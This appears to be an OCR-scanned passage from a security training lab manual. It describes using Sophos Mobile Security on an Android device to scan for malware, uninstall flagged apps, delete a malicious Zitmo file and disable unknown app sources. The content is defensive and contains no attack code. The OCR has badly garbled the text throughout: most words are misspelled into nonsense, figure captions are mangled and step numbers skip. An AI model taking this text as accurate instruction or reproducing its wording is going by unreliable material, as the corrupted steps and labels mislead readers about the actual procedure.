FIGURE £ 12 Sopbes Mahiera Scinnet Priparing for S
| N [ A—eY 17. Omee the scan 15 complete, it will display the Seanned apps, Seanned
Pl Comtaid files, znd Threats found on the mobile device.

Bariess -

Crmred (M) o wesll
=t Ha bemakth sxius ok

| [m Mumaciivly

Tolkack
B Termical Erudator

Danghe Play Suore

B e A

FIGLRE 413 Sophas Mabearr Scimmiey Shibs
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15. The Mzhware Scanner 1= complete and displays malicions applications
and files under Theeats and FUAs, Clean apphications nnder Clean apps,
and the Details section displays the information abont the applicanon
mstalled on the mobdle device.

| @ MEmAClvTg

o Truabeer Roppos

| | @ rlenamien i B

¥irat (hEG b

Tulkiisck
M Tormial Emulator

Google Play S Sy ste ooy

B roeade A

FIGRIRE & 14 Sonhcs Dhestirted Therati Infermmbaon

19. Now, choose any application nnder Theeats and PUAs, and dick
Uninstall to nninstall the mabicions application from the mobde device.

Sranesr e s

|w PA AL vt @ B braSec iy Iy

ey e gl

ﬂ wéenbaly un! [l ]

Pl Trusteer Roppont

| w chmatiben dils Bin

TulkBisck
P Tormeal Emusiator

Googic Play Suee

1 BN o Asa

FIGUTRE 4.15: Sophos Unmutalbrgr Protentaly Unwasted Appleses
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20. Similarly, nninstall other applications from the mohile demce that hawe
been found to be natmstwocthy.

| [i] MsnAEviTy

s Trustees Rogpor

[
WET | |m] rhewTibew el B

B a
Tl Plack Hwres eeim

LT T T T

i ﬂ Tormmal Emulabor

Googhe Play i

Fhsie calli
BT o A

FIGURE 4. b Sopifee Sl Prlabeias Ciject

21. Some applications, while nninstaling, wall ask for the permission of the
nser to do so; click OK to confirm

! Trusteer Rapport

LY Poivscy rotsction FRGURE 4.17: Cestfrrang Unectalsbeon of dop
and sty

Dheticts s scisiiay
ati such sy
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23 Choose a malicions file in the Threats and PUAs section, and click
DELETE. It will delete the malicions file permanently from the mobile
dewice, 35 shown in the sereenshot

Sfanear Qunwe G
chemam e e B Zitmo_ir_ECBBCE 705306
— EAFSAFICBTCT 1 DOAFED A
il
| |;] dosniibcaniiie- 1 bin

o Zitmo_ir ECRRCETTOR

e sl

Tk Bk

P Termiral Emuslabor

Google Play Siome

L
e,

FIGAURE 4 18 Delehng Malcwas File

. TR . ch:'.: set s.emm.cr s.ev:h.ugs by wsing Secnsty Adwvisor of the Sophos
_— Mobile Secnrity apphication.

Launch Security

nek 24, Click Security Advisor to access the settings.

O Soarime l! Puivaay Advisar

a Sty Arvisnr

28 am Frofecto L Apo Protectian
- L]

"

#len, & mrecie ok or

st il ahueld pon
. FIGLURE 4. 1% Sophad Secucty Adhesor

el mhoamahon Eom
PRy fe
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ity Adwisor wmindow, choose Unkmewn Am:l Sources (mnder
) and click Ghange (nader Unknown App Sources

The Android Secunty settings window appears. MNavigate to Deviee
Administratien ind choose Unknewn ssurees.

27. By defamlt, the Unknewn seurees option 15 checked

Aunamaticaly keak
P butsan instanily focks
Enaiie widgets

D into

Make panswonds visiake
i TRATION

Peimce administrabors

Unknown goormes

Yenfy apps

ekl Sty Sriveym
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Auztomatically lock

Foawer butson instantly lociks
Enatie widgess

Crmar info

Make passwnrds vesinle

evece administrators

Unkingwn poursen

oo that Unknown App

1 all the secuaty ms avadable in Sophos

Secusity, and protect your ands ::1-:1 device from the nowanted oc

mialicions
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P TR RN —
I = s e g
AR M=y i

Analrze and doemment yonr resmlts related to this Iab exercise. Promde vour opuon
of yonr target's secunty postue and exposne.

[I%¥es

Plarform Supported

[ Classroom
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